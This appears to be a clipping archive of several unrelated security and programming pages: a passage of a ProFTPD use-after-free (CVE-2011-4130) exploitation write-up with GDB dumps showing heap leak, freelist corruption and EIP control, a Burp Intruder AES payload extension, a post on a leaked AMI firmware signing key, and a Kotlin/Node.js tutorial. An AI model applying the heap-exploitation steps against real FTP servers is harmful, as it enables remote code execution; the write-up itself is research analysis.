variable is a static variable located at address 0x80fd0a0. Since the
_resp\_buf_ holds the response sent by the server to the client, one can
influence the server responses to make them write interesting data in this
location.  
  
Let's try:

  
220 ProFTPD 1.3.4rc2 Server \(Debian\) \[127.0.0.1\]  
AAAAAAAAAAAA\[...\]AAAAAAAA  
500 AAAAAAAAAAAA\[...\]AAAAAAAA not understood  
  
---  
  
And now in GDB:  
  
\(gdb\) x/40wx 0x80fd0a0  
0x80fd0a0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd0b0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd0c0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd0d0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd0e0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd0f0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd100: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd110: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd120: 0x41414141 0x41414141 0x41414141 0x41414141  
0x80fd130: 0x41414141 0x41414141 0x41414141 0x41414141  
  
---  
Since the _resp\_buf_ content can be controlled, one can easily send a fake
command which will fill the _resp\_buf_ buffer with a fake block header. By
making the _pool- >last_ pointer points to this fake block header, we will be
able to control the memory addresses returned by "_palloc\(\)_ ".  
  
Let's see what happens when "_pcalloc\(\)_ " returns a pointer to a writable
memory inside a zone we have filled in with 0x41s. One can observe the result
of the execution of the "_pr\_response\_add\(\)_ " function.  
  
In this example, the pointer returned by "_pcalloc\(\)_ " is 0x8106400. We
break just after the "_pr\_response\_add\(\)_ " function has returned:  
  
Temporary breakpoint 2, 0x0807571c in pr\_data\_close \(\)  
\(gdb\) x/11wx 0x8106400  
0x8106400: 0x00000000 0x08106410 0x08106418 **0x41414141**  
0x8106410: 0x00363232 **0x41414141** 0x6e617254 0x72656673  
0x8106420: 0x6d6f6320 0x74656c70 0x41410065  
\(gdb\) x/s **0x8106410**  
0x8106410: "226"  
\(gdb\) x/s **0x8106418**  
0x8106418: "Transfer complete"  
  
---  
This memory dump can be translated into the following structures:  
  
<img src='img/Temp2_8834.png' width='534' height='169' />  
  
Interesting\! The code writes at offset +4 \(starting from the controlled
pointer returned by _pcalloc\(\)_\) a pointer to a string located 0x8 bytes
farther. What is interesting is that the pointer at offset +4, is the address
assigned to the "226" string \(at 0x08106410\) which, thanks to "_palloc\(\)_
", is 8 bytes wide and so does not trash the 2nd dword of memory.  
  
By correctly crafting the block structure used for the allocations, we can
even avoid the msg pointer to be allocated right after the num buffer, and
thus preventing the memory following the num buffer from being overwritten
with the "Transfer complete" string.  
  
We know now the layout of the memory after the execution of
"_pr\_response\_add\(\)_ " under the assumption that the pointer returned by
"_palloc\(\)_ " is controlled. However one has to overwrite a structure in
memory whose 2nd dword is a pointer, and the 2nd dword of the pointed address,
which is 0x8 byte away, will need to be user-controlled.  
  
The second problem being that the structure we should overwrite is likely to
be located in the heap and thus is not static in memory.  
  
**__  
__** _**_4_**_** __.__**_**_Leaking Memory_**_  
  
If we want to succeed in overwriting something useful from the heap memory, we
will need to transform the "pseudo" arbitrary writes above into a memory leak.
To achieve this, we will use the resp\_buf which is at a fixed location in
memory \(0x80fd0a0\), to send back heap addresses to the client instead of the
"226 Transfer Complete" message.  
  
By making the pool->last point to &resp\_buf \- 0x4, palloc\(\) will use the
following block:

**address**|  &resp\_buf - 4|  &resp\_buf|  &resp\_buf + 4  
---|---|---|---  
**field**|  endp|  next|  first\_avail  
**value**|  0x00000000|  0xxxxxxxx|  0xxxxxxxxx  
When "_alloc\_pool\(\)_ " is called, we enter the following code stub in
_src/pool.c_ :  
  

  
static void \* **alloc\_pool**\(struct pool \*p, int reqsz, int exact\) \{  
\[...\]  
new\_first\_avail = first\_avail + sz;  
  
if \(**new\_first\_avail <= blok->h.endp**\) \{ **\[1\]**  
blok->h.first\_avail = new\_first\_avail;  
return \(void \*\) first\_avail;  
\}  
  
/\* Need a new one that's big enough \*/  
pr\_alarms\_block\(\);  
  
blok = **new\_block**\(sz, exact\); **\[2\]**  
**p- >last->h.next = blok;** **\[3\]**  
p->last = blok;  
  
---  
Since _endp_ == 0x0, due to the previous initialization of this memory area,
the check in \[1\] will fail and the code will then rely on the block freelist
to retrieve a block. A fitting block is returned in \[2\] by the
"_new\_block\(\)_ " function. Finally, since the pool keeps a linked list to
keep track of the blocks it uses, the next pointer, which corresponds to the
address of _resp\_buf_ \(_& resp\_buf - 4 + 4_\), is updated with the address
of the newly allocated block, retrieved from the block freelist. The fake
block chunk has now the following layout:

**address**|  &resp\_buf - 4|  &resp\_buf|  &resp\_buf + 4  
---|---|---|---  
**field**|  endp|  next|  first\_avail  
**value**|  0x00000000|  heap address \(**0x09b280c0**\)|  0xxxxxxxxx  
The _resp\_buf_ is then sent back to the attacker, leaking the address of the
first available block from the block freelist at the time of the call to
"_palloc\(\)_ ": "\**xc0\x80\xb2\x09** sfer complete".  
  
Now we have a nice starting point to search for structures present in heap
memory.  
  
**__  
__****__5.__**__** Taking Control of the Freelist  
  
**__ The next step in this exploitation is to overwrite a structure in memory
in such a way that we can insert controlled chunks into the block freelist,
thus completely controlling the allocations. There are two actions that update
the block freelist: allocations via "_new\_block\(\)_ " and deallocations via
"_free\_blocks\(\)_ ".  
  
We found a successful method during the deallocation of allocated blocks in
memory.  
  
Indeed, since the "NLST" commands have sprayed memory with contiguous blocks,
we can derive the address of the next blocks by adding the value 0x210 \(0x200
of pool size + 0x10 of block header\) to the leaked address. By walking the
memory forward, we find the following chunk:  
  
\(gdb\) x/40wx 0x09b280c0 + 0x210 \* 4  
0x9b28900:  0x09b28b0c 0x09b28b10 0x09b28a1c 0x6d6f682f  
0x9b28910: 0x75762f65 0x2f6e6570  0x2f6f6f66 0x51414141  
0x9b28920: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28930: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28940: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28950: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28960: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28970: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28980: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28990: 0x41414141 0x41414141 0x41414141 0x41414141  
\(gdb\) x/s 0x9b2890c  
0x09b2890c: "/home/vupen/foo/AAAAAAAAAAA", 'A' <repeats 132 times>...  
  
---  
We are almost good, but the filename we control is prepended with the current
directory path which is not always user-controlled. Let's look further:  
  

  
\(gdb\) x/40wx 0x09b280c0 + 0x210 \* 5  
0x9b28b10:  0x09b28d1c 0x09b28d20 0x09b28c1c 0x51414141  
0x9b28b20: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28b30: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28b40: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28b50: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28b60: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28b70: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28b80: 0x41414141 0x41414141 0x41414141 0x41414141  
0x9b28b90: 0x41414141 0x41414141 0x41414141 0x41414141  
  
---  
Caught\! We found a memory block whose data is completely user-controlled.
Looking at the block freelist yields no results telling us the block we found
is still in use. We have to wait for the pool managing this block to be
destroyed, eventually calling the "_free\_blocks\(\)_ " function to make
something useful out of this memory block.  
  
For the recall, the three first dwords are the block header we are trying to
overwrite in a useful way. Since the process is forked on every connection to
port 21, the memory layout will remain constant \(as long as the number of
clients does not vary\) between multiple connections.  
  
Let's have a look at the "_free\_blocks\(\)_ " function located in in
_src/pool.c_ to find what can be achieved by controlling the _next_ pointer of
a block to be freed:

  
/\* Free a chain of blocks -- \_must\_ call with alarms blocked. \*/  
  
static void **free\_blocks**\(union block\_hdr \*blok, const char
\*pool\_tag\) \{  
  
/\* Puts new blocks at head of block list, point next pointer of  
\* last block in chain to free blocks we already had.  
\*/  
  
union block\_hdr \*old\_free\_list = block\_freelist;  
  
if \(\!blok\)  
return; /\* Shouldn't be freeing an empty pool \*/  
  
block\_freelist = blok;  
  
/\* Adjust first\_avail pointers \*/  
  
while \(blok->h.next\) \{  
chk\_on\_blk\_list\(blok, old\_free\_list, pool\_tag\);  
blok->h.first\_avail = \(char \*\) \(blok + 1\);  
**blok = blok- >h.next; **  
\}  
  
chk\_on\_blk\_list\(blok, old\_free\_list, pool\_tag\);  
blok->h.first\_avail = \(char \*\) \(blok + 1\);  
blok->h.next = old\_free\_list;  
\}  
  
---  
The block list is walked from block to block until _blok- >h.next _== NULL. At
each loop the first\_avail pointer is reset to point just after the block
header. Then the _blok- >h.next_ pointer is used to retrieve the next block.
By controlling the _next_ pointer we can insert an arbitrary amount of blocks
pointing to arbitrary memory addresses and having arbitrary sizes.  
  
Since we now know the exact address of the block in memory \(leaked address +
0x210 \* 5\), and since we now control the data in this memory block, we can
embed a fake pool structure and fake block header structures as well. The idea
here is to make the call to "_pcalloc\(\)_ " in "_pr\_response\_add\(\)_ "
return the address of the block header we want to overwrite. We will use the
following layout inside the filenames to achieve a successful overwrite:  
  
<img src='img/Temp2_8832.png' width='570' height='184' />

By breaking before the call to "_pcalloc\(\)_ " in "_pr\_response\_add\(\)_ ",
the memory block looks as follows:  
  
\(gdb\) _x/11wx 0x09b280c0 + 0x210 \* 5_  
0x9b28b10: 0x09b28d1c 0x09b28d20 0x09b28c1c 0x51414141  
0x9b28b20: 0x09b28b30 0x41414141 0x42424242 0x43434343  
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b10  
  
---  
  
After the call to "_pcalloc\(\)_ " is successful, the memory looks like this:  
  
Temporary breakpoint 2, 0x0807442b in pr\_response\_add \(\)  
\(gdb\) _i r eax_  
eax 0x9b28b10 162695952  
\(gdb\) _x/11wx 0x09b280c0 + 0x210 \* 5_  
0x9b28b10:  0x00000000 0x00000000 0x00000000 0x51414141  
0x9b28b20: 0x00363232 0x41414141 0x42424242 0x43434343  
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b28  
  
---  
The three header dwords are NULL due to the call to "_memset\(0\)_ " following
"_palloc\(\)_ ".  
  
Setting two breakpoints after the two consecutive calls to "_pstrdup\(\)_ ",
we have the following behavior:

  
Temporary breakpoint 3, 0x08074444 in pr\_response\_add \(\)  
\(gdb\) i r eax  
eax 0x9b28b20 162695968 **// address returned by pstrdup\(\)**  
\(gdb\) ni  
0x08074447 in pr\_response\_add \(\)  
\(gdb\) _x/11wx 0x09b280c0 + 0x210 \* 5_  
0x9b28b10:  0x00000000 0x09b28b20 0x00000000 0x51414141  
0x9b28b20: 0x00363232 0x41414141 0x42424242 0x43434343  
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b28  
\(gdb\) c  
  
---  
The next pointer of the block header has effectively been overwritten with the
address 0x09b28b20 pointing inside our controlled data. Even if the first
dword at 0x09b28b20 has been trashed, the second one is still controlled and
will act as the next pointer of the fake block header.

  
Temporary breakpoint 4, 0x807445c pr\_response\_add \(\)  
\(gdb\) i r eax  
eax 0x9b29c48 162700360 **// Address returned by the second pstrdup\(\)**  
\(gdb\) ni  
0x0807445f in pr\_response\_add \(\)  
\(gdb\) x/11wx 0x09b280c0 + 0x210 \* 5  
0x9b28b10: 0x00000000  0x09b28b20 0x09b29c48 0x51414141  
0x9b28b20: 0x00363232  0x41414141 0x42424242 0x43434343  
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b28  
  
---  
Since we limited the size of the available block in our fake block header, the
second call to "_pstrdup\(\)_ " was forced to use a block from the block
freelist, avoiding to trash our controlled data with the string "_Transfer
complete_ ".  
  
At the end of "_pr\_response\_add\(\)_ " our pointer has been preserved. Now
let's continue execution:  

  
Program received signal SIGSEGV, Segmentation fault.  
0x08059651 in ?? \(\)  
\(gdb\) bt 2  
\#0 0x08059651 in ?? \(\)  
\#1 0x08059933 in destroy\_pool \(\)  
\(gdb\) x/3i $eip  
=> 0x8059651: mov 0x4\(%edx\),%ecx **// blok = blok- >h.next**  
0x8059654: test %ecx,%ecx **// if \(blok == NULL\)**  
0x8059656: je 0x8059660 **// exit loop**  
\(gdb\) i r edx  
edx **0x41414141** 1094795585  
  
---  
The program crashes in the "_free\_blocks\(\)_ " function when trying to get
the value pointed by _block- >next_.  
  
Since %edx has the value 0x41414141, we successfully took control of the block
header. By carefully crafting the _next_ pointer, we can create a bunch of
fake blocks which will populate the block freelist and allow the allocation of
arbitrary addresses in memory.  
  
**__  
__** **__6\. Overwriting the Pool and Controlling EIP  
  
__** Now that we control the addresses returned by "_new\_block\(\)_ ", the
idea is to make a call to "_make\_sub\_pool\(\)_ " return a pointer pointing
inside _resp\_buf_ , overwrite the pool with controlled data copied in
_resp\_buf_ and wait for the "_destroy\_pool\(\)_ " to be called and reach the
following code stub, which handles the pool cleanup pointer:  
  
0x080598e2 <+66>: mov 0x8\(%ebx\),%esi **// retrieve pointer**  
0x080598e5 <+69>: test %esi,%esi **// verify pointer \!= NULL**  
0x080598e7 <+71>: je 0x80598ff <destroy\_pool+95>  
0x080598e9 <+73>: lea 0x0\(%esi,%eiz,1\),%esi  
0x080598f0 <+80>: mov \(%esi\),%eax  
0x080598f2 <+82>: mov %eax,\(%esp\)  
0x080598f5 <+85>: **call \*0x4\(%esi\)** **// call \[ptr+0x4\]**  
  
---  
  
The _cleanup_ structure is defined in _src/pool.c_ :  
  
typedef struct cleanup \{  
void \*data;  
void \(\* **plain\_cleanup\_cb**\)\(void \*\); **// handler called during
destroy\_pool\(\)**  
void \(\*child\_cleanup\_cb\)\(void \*\);  
struct cleanup \*next;  
\} cleanup\_t;  
  
---  
  
In order for "_make\_sub\_pool\(\)_ " to return a controlled pointer, we must
modify the previous payload and make the "_free\_blocks\(\)_ " function
terminate properly.  
  
The new payload looks as follows:  
  
\(gdb\) _x/16wx 0x09b280c0 + 0x210 \* 5_  
0x9b28b10:  0x09b28d1c 0x09b28d20 0x09b28c1c 0x51414141  
0x9b28b20: 0x09b28b30 0x09b28b40 0xdeadbeef 0x41414141  
0x9b28b30: 0x09b28b28 0x09b28b40 0x09b28b10 0x42424242  
0x9b28b40: 0x09b29140 0x080fd120 0x09b28b50 0x43434343  
  
---  
  
When breaking after the call to "_pr\_response\_add\(\)_ " the memory looks as
follows:  
  
\(gdb\) _x/16wx 0x09b280c0 + 0x210 \* 5_  
0x9b28b10:  0x09b28d1c 0x09b28d20 0x09b29c48 0x51414141  
0x9b28b20: 0x09b28b30 0x09b28b40 0xdeadbeef 0x41414141  
0x9b28b30: 0x09b28b28 0x09b28b40 0x09b28b28 0x42424242  
0x9b28b40: 0x09b29140 0x080fd120 0x09b28b50 0x43434343  
  
---  
  
This gives the following layout:  
 __** <img src='img/Temp2_8831.png' width='397' height='416' />**__|  |    
  
\- The overwritten next block header now points to our fake chunks  
  
  
  
  
  
  
  
  
  
\- This block of 8132 bytes is used to grab all previous allocations and avoid
the block at 0x80fd120 being requested before the call to make\_sub\_pool\(\).  
  
  
\- This block header specifies a block of 4016 bytes inside resp\_buf. And is
the one which will be retrieved by make\_sub\_pool\(\)  
  
  
  
\- The next pointer of this block header points to a zone containing NULL
bytes to exit the while loop in free\_blocks\(\).  
---  
Now if we set a breakpoint after the call to "_free\_blocks\(\)_ " and display
the _block\_freelist_ , we obtain the following results:  
  
Temporary breakpoint 6, 0x08059689 in ?? \(\)  
\(gdb\) _display\_freelist_  
Block: 0x09b28b10 Size: -146485372  
Block: 0x09b28b20 Size: -142933594  
Block: 0x09b28b40 Size: 8132  
Block: 0x080fd120 Size: 4016  
Block: 0x080fd210 Size: -135254556  
  
---  
As we can see, we have successfully inserted our fake blocks into the block
freelist. The blocks at 0x09b28b10 and 0x09b28b20 have a negative size because
the endp and _first\_avail_ pointer are not correctly set. However since the
resulting size is negative, this block will never be processed. We have now to
achieve the last step: allocate the pool, overwrite it and control EIP.  
  
To do so, we supply the following command after the fake blocks have been
inserted in the freelist:  

  
**RETR \[payload\]\[fake pool header\]**  
150 Opening ASCII mode data connection for \[payload\]\[fake\_pool\_header\]
\(xxx\) bytes  
  
---  
In order for this command to successfully work, a file whose filename is
_\[payload\]\[fake pool header\]_ has previously been created. This command
does involve two actions. The first one is the "_make\_sub\_pool\(\)_ " call
returning our fake block inside "_pr\_netio\_open\(\)_ ":  

  
Breakpoint 1, 0x08071dbe in pr\_netio\_open \(\)  
\(gdb\) _x/i $eip_  
=> 0x8071dbe <pr\_netio\_open+46>: call 0x80596c0 <**make\_sub\_pool** >  
\(gdb\) display\_freelist  
Block: 0x09b28b10 Size: -146485372 **// since theses 2 blocks are never
processed**  
Block: 0x09b28b20 Size: -142933594 **// they remain in the block\_freelist**  
**Block: 0x080fd120 Size: 4016**  
\(gdb\) c  
Breakpoint 3, 0x08071dc3 in pr\_netio\_open \(\) **// after the call to
make\_sub\_pool\(\)**  
\(gdb\) i r eax  
eax **0x80fd12c** 135254316  
  
---  
The "_make\_sub\_pool\(\)_ " call returns our fake block inside the
"_pr\_netio\_open\(\)_ " function, which will handle the data sent on the data
channel for the file transfer. The execution then continues until the second
action: "_pr\_response\_add\(\)_ " is called with the string "150
Opening.....\[payload\]\[fake pool header\]..bytes" and copies it into
_resp\_buf_.  
  
Let's look at the pool header after the copy:  

  
\(gdb\) x/9wx 0x80fd12c  
0x80fd12c: 0x080fd210 0x080fd210  0x080fd0cc 0x080fd210  
0x80fd13c: 0x00000000 0x080fd210 0x080fd210 0x33322820  
0x80fd14c: 0x79622030  
  
---  
The dword in red points to our fake cleanup structure. The over dwords are
pointing to writable location inside _resp\_buf_ in order to avoid that the
program segfaults before reaching the code handling the cleanup structure.  
  
We then break on the pool destruction in "_destroy\_pool\(\)_ ":  

  
Breakpoint 1, 0x080598a9 in destroy\_pool \(\)  
\(gdb\) _i r ebx_  
ebx 0x80fd12c 135254316 **// our fake pool is being processed**  
\(gdb\) c  
Breakpoint 2, 0x080598e2 in destroy\_pool \(\)  
\(gdb\) _x/7i $eip_  
=> 0x80598e2 <destroy\_pool+66>: mov 0x8\(%ebx\),%esi **// retrieve cleanup
ptr**  
0x80598e5 <destroy\_pool+69>: test %esi,%esi **// verify cleanup ptr \!=
NULL**  
0x80598e7 <destroy\_pool+71>: je 0x80598ff <destroy\_pool+95>  
0x80598e9 <destroy\_pool+73>: lea 0x0\(%esi,%eiz,1\),%esi  
0x80598f0 <destroy\_pool+80>: mov \(%esi\),%eax  
0x80598f2 <destroy\_pool+82>: mov %eax,\(%esp\)  
0x80598f5 <destroy\_pool+85>: call \*0x4\(%esi\) **// call cleanup ptr
callback**  
\(gdb\) x/2x \*\($ebx+8\)  
**0x80fd0cc: 0x41414141 0x42424242**  
\(gdb\) c  
  
Temporary breakpoint 3, 0x080598f5 in destroy\_pool \(\)  
\(gdb\) _x/i $eip_  
=> 0x80598f5 <destroy\_pool+85>: **call \*0x4\(%esi\)**  
\(gdb\) _x/2wx $esi_  
**0x80fd0cc: 0x41414141 0x42424242**  
  
---  
The %esi register now points to an address inside the _resp\_buf_ containing
our data \(0x41414141 and 0x42424242\), which corresponds respectively to the
_data_ field and _plain\_cleanup\_cb_ function pointer.  
  
Yes\! EIP is now fully controlled\!__**  
  
**__ On systems without NX, the exploitation ends here as we fully control
EIP. However on systems like Ubuntu we have to perform a ROP before we can
effectively execute arbitrary code. ASLR can also be bypassed using the memory
leak method found previously, however on Ubuntu, ProFTPD was not compiled with
PIE.__**  
  
**__ Our code execution exploit for Ubuntu and Debian is available through the
_VUPEN Binary Analysis & Exploits Service_.  
  
  
**__7.__** _**_ References and Links_**_  
  
Part I  \- Technical Analysis of ProFTPD Response Pool Use-after-free
\(CVE-2011-4130\)

# Decrypting AES With Burp Intruder « Flinkd\!

**Created:**| _2/14/2014 8:52:55 PM_  
---|---  
**Updated:**| _2/14/2014 8:52:55 PM_  
**Author:**| __  
**Tags:**| _web-app-sec crypto_  
  

# Decrypting AES With Burp Intruder

Recently, I’ve noticed a significant rise in the number of mobile applications
making use of local encryption in order to encrypt request parameters prior to
passing them over the wire. Not only does this make casual observation of the
traffic more difficult, any type of parameter tampering/manipulation will
likely fail unless the supplied payload can be successfully decrypted by the
backend.

With that in mind, I developed a simple Burp Extender plugin that utilizes the
IIntruderPayloadProcess interface in order to automatically encrypt payloads
managed by Intruder. This way you can select an application request, identify
the parameters that are encrypted, and select your payload listing as normal.

The only downside of this approach is that Intruder will show the fully
encrypted payload within the results tab. In order to determine which payload
was actually sent you’ll need to decrypt the payload by hand.

You can download the Netbeans project and JAR here.

### The Code

| `package` `burp;``import` `java.awt.*;``import` `java.security.Key;``import`
`javax.crypto.Cipher;``import` `javax.crypto.spec.SecretKeySpec;``import`
`javax.crypto.spec.IvParameterSpec;``import` `sun.misc.*;``public` `class`
`BurpExtender ``implements` `IBurpExtender, IIntruderPayloadProcessor
{``private` `IExtensionHelpers helpers;``@Override``public` `void`
`registerExtenderCallbacks(``final` `IBurpExtenderCallbacks callbacks) {``//
obtain an extension helpers object``helpers = callbacks.getHelpers();``// set
our extension name``callbacks.setExtensionName(``"Encrypted AES
Payloads"``);``// register ourselves as an Intruder payload
processor``callbacks.registerIntruderPayloadProcessor(``this``);``}``@Override``public`
`String getProcessorName() {``return` `"AES
Encypter"``;``}``@Override``public` `byte``[] processPayload(``byte``[]
currentPayload, ``byte``[] originalPayload, ``byte``[] baseValue) {``try`
`{``String payloadString = ``new` `String(currentPayload);``String result =
BurpExtender.encrypt(payloadString);``return` `result.getBytes();``}
``catch``(Exception e) {``return` `null``;``}``}``public` `static` `String
encrypt(String plainText) ``throws` `Exception {``// generate key``byte``[]
keyValue=``new` `byte``[] { ``0x01``, ``0x01``, ``0x01``, ``0x01``, ``0x01``,
``0x01``, ``0x01``, ``0x01``, ``0x01``, ``0x01``, ``0x01``, ``0x01``,
``0x01``, ``0x01``, ``0x01``, ``0x01``};``Key skeySpec = ``new`
`SecretKeySpec(keyValue, ``"AES"``);``// Generate null IV``byte``[] iv = {
``0``, ``0``, ``0``, ``0``, ``0``, ``0``, ``0``, ``0``, ``0``, ``0``, ``0``,
``0``, ``0``, ``0``, ``0``, ``0` `};``IvParameterSpec ivSpec = ``new`
`IvParameterSpec(iv);``Cipher cipher =
Cipher.getInstance(``"AES/CBC/PKCS5Padding"``);``cipher.init(Cipher.ENCRYPT_MODE,
skeySpec, ivSpec);``byte``[] encVal =
cipher.doFinal(plainText.getBytes());``String encryptedValue = ``new`
`BASE64Encoder().encode(encVal);``return` `encryptedValue.toString();``}``}`  
---|---  
Here you can see that the post processing payload is very simple. We first set
a few details regarding our extension and register a callback to the
IntruderPayloadProcessor interface.

The IIntruderPayloadProcess API only allows for two methods, getProcessorName
and processPayload. Under processPayload we simple take the currentPayload
\(our unecrypted value\) and pass it to our “encrypt” method. In this example
I’ve implemented AES/CBC using PKCS5Padding \(which will also work for
PCKS7Padding under AES 128\) and a null IV. However, this example can easily
be expanded in order to implement any other type of crypto supported by the
native Java libraries.

You can access the Burp IntruderPayloadProcessor API docs here.

### Installing the Extension

\*\*\*Before you begin however you must have access to BurpSuite Pro v.1.5.01.

Installing the extension is fairly simple. Launch burp, go to the Extender
tab, click “Add” and navigate to the supplied JAR.

<img src='img/Temp2_2040.png' alt='burp-1' />

Next, send your target request to intruder. Once in intruder, select each
parameter containing encrypted data that you’d like to tamper with:

<img src='img/Temp2_2041.png' width='300' height='123' alt='burp-3' />

Once you have your payload positions defined, select the “Payload” sub-tab and
navigate to “Payload Processing”. Here we’ll be adding our custom payload
processor. Select “add” and in the popup menu, navigate down to “Invoke Burp
Extension” and select our custom payload processor, “AES Encrypter”.

<img src='img/Temp2_2043.png' alt='burp-4' />

Finally, you can go ahead and launch your intruder session.

<img src='img/Temp2_2042.png' alt='burp-5' />

### Closing

Before I wrap this out I just want to stress again that this is not a perfect
solution. Initially I had wanted to write this extension in Python \(my
language of choice\) using the Jython API, however I soon realized that Jython
does not handle C-extensions. Because of this, you cannot call any crypto
modules directly via Python and the Jython API. With that I went with the less
complete solution and implemented a bare-bones payload processor.

### Like this:

Like Loading...

# Can They Hear Me Now? A Security Analysis of Law Enforcement Wiretaps

**Created:**| _11/13/2009 3:24:36 PM_  
---|---  
**Updated:**| _11/13/2009 3:25:08 PM_  
**Author:**| __  
**Tags:**| _papers intelligence_  
  
<img src='img/Temp2_1356' />

# Security Done Wrong: Leaky FTP Server - Adam Caudill

**Created:**| _4/5/2013 2:21:49 PM_  
---|---  
**Updated:**| _4/5/2013 2:21:49 PM_  
**Author:**| __  
**Tags:**| _LOLZ ftp leaks_  
  

# Security Done Wrong: Leaky FTP Server

Apr 4th, 2013

A few hours ago I received a call from my frequent research partner, Brandon
Wilson , about an open FTP server hosted in Taiwan serving up some rather
interesting data. Internal emails, various system images \(and even the Ghost
software\!\), numerous photos - some personal, some high resolution PCB
images, private specification sheets, Excel documents loaded with private
information - but that wasn’t the worst.

<img src='img/Temp2_7331.png' />

In a folder called `code` was quite a treasure. The source code for different
versions of American Megatrends  \(AMI\) firmware - but there was even a bonus
on top of that\! They included their private signing key with the code in the
‘Ivy Bridge’ archive.

`308204A30201000282010100ED71D63F21FF0B4563A43D871D22448FC9...`

If you aren’t familiar with how AMI does UEFI firmware upgrades, they were
nice enough to produce some documentation  \(PDF\).

By leaking this key and the firmware source, it is possible \(and simple\) for
others to create malicious UEFI updates that will be validated & installed for
the vendor’s products that use this ‘Ivy Bridge’ firmware. If the vendor used
this same key for other products - the impact could be even worse. Even with a
quick reaction, odds are users will be unprotected for some time. As users
often don’t install firmware updates unless they are having issues - I expect
this one to be around for a while.

This kind of leak is a dream come true for advanced corporate espionage or
intelligence operations. The ability to create a nearly undetectable,
permanent hole in a system’s security is an ideal scenario for covert
information collection.

This vendor’s lax \(non-existent?\) security could have much broader
repercussions though. For AMI, they now have a major piece of intellectual
property freely available for download by competitors. For users, this code
could now be subject to new scrutiny - if a security issue is found in the
firmware, it could potentially impact all users whose firmware is based on the
leaked code.

If the code was old, as it’s been when products like Symantec’s were leaked ,
this might not be so bad - but it’s not.

<img src='img/Temp2_7332.png' />

References in the files indicate that the code is from sometime in February -
so this is current code. For AMI, I hope they perform a security audit of
their code to make sure that this leak doesn’t put users at excessive risk.

A foolish oversight now has the potential to impact many.

_I’ve contacted both the vendor involved and AMI to alert them to the issue.
Obviously, I won’t be releasing the name of the vendor, the FTP address, or
anything that was seen on the server._

Posted by Adam Caudill Apr 4th, 2013

« First, Do No Harm: Developers & Bad APIs

# Your first Node.js app with Kotlin – Miquel Beltran – Medium

**Created:**| _1/2/2019 7:06:37 PM_  
---|---  
**Updated:**| _1/2/2019 7:06:37 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Your first Node.js app with Kotlin

<img src='img/1*2GFb0zak2aHAeYeHNqHcew.jpeg' width='50' height='50' />

Miquel Beltran

Mar 19, 2017·3 min read

Node is a powerful, JavaScript based, platform for building server side
applications with ease. From a Slack Bot to a lightweight REST API or push
notification services with Firebase.

Kotlin is a next-generation programming language by the great people of
JetBrains, which is gaining popularity with the Android development community
as a replacement for old good Java.

I won’t talk about why you might like to consider Kotlin in your Android
projects, but rather how can you use Kotlin, instead of JavaScript, to build
Node.js applications.

This guide is more aimed for Android developers who want to do a first step
into Node.js development, and it is based on my own experiences building a
Slack bot with it.

Code available here: https://github.com/miquelbeltran/kotlin-node.js

#### Node.js

Your first step will be installing Node in your system. Node comes with a
handy package manager called **npm**. Once you have installed Node.js follow
these steps to configure your project.

  * •On your empty project folder, create a Node project with:

[code]

    npm init
[/code]

  * •Install the Kotlin dependency:

[code]

    npm install kotlin --save
[/code]

  * •Finally, for this example, you will create a small REST API using ExpressJS. Add the ExpressJS library with:

[code]

    npm install express --save
[/code]

Your Node.js project is now setup. Time to add the Kotlin part.

#### Kotlin

It is always a good idea to take a look at the official documentation and see
how you can setup a Kotlin project to target JavaScript. My recommendation is
to use Gradle, rather than an IDEA based project, as we are already familiar
with it thanks to Android development. Remember that you’ll need to install
Gradle manually.

**Getting Started with Kotlin and JavaScript with Gradle - Kotlin Programming
Language**  
 _A look at how to use Gradle to target JavaScript._ kotlinlang.org

Your `gradle.build` file should look like this:

<img src='img/Temp2_9994.jpg' width='75' height='75' />

1 | group 'node-example'  
---|---  
2 | version '1.0-SNAPSHOT'  
3 |   
4 | buildscript \{  
5 |  ext.kotlin\_version = '1.1.1'  
6 |  repositories \{  
7 |  mavenCentral\(\)  
8 |  \}  
9 |  dependencies \{  
10 |  classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin\_version"  
11 |  \}  
12 | \}  
13 |   
14 | apply plugin: 'kotlin2js'  
15 |   
16 | repositories \{  
17 |  mavenCentral\(\)  
18 | \}  
19 |   
20 | dependencies \{  
21 |  compile "org.jetbrains.kotlin:kotlin-stdlib-js:$kotlin\_version"  
22 | \}  
23 |   
24 | compileKotlin2Js.kotlinOptions \{  
25 |  moduleKind = "commonjs"  
26 |  outputFile = "node/index.js"  
27 | \}  
view raw build.gradle hosted with ❤ by GitHub

Setting the `kotlinOptions` is essential. `moduleKind` must be set to
`commonjs` to work with Node, and I also recommend to change the `outputFile`
destination to something easy to type.

Your Kotlin source code should be placed in the directory `src/main/kotlin/`

Let’s create your first Kotlin file here.

<img src='img/Temp2_9994.jpg' width='75' height='75' />

1 | external fun require\(module:String\):dynamic  
---|---  
2 |   
3 | fun main\(args: Array<String>\) \{  
4 |  println\("Hello JavaScript\!"\)  
5 |   
6 |  val express = require\("express"\)  
7 |  val app = express\(\)  
8 |   
9 |  app.get\("/", \{ req, res ->  
10 |  res.type\("text/plain"\)  
11 |  res.send\("i am a beautiful butterfly"\)  
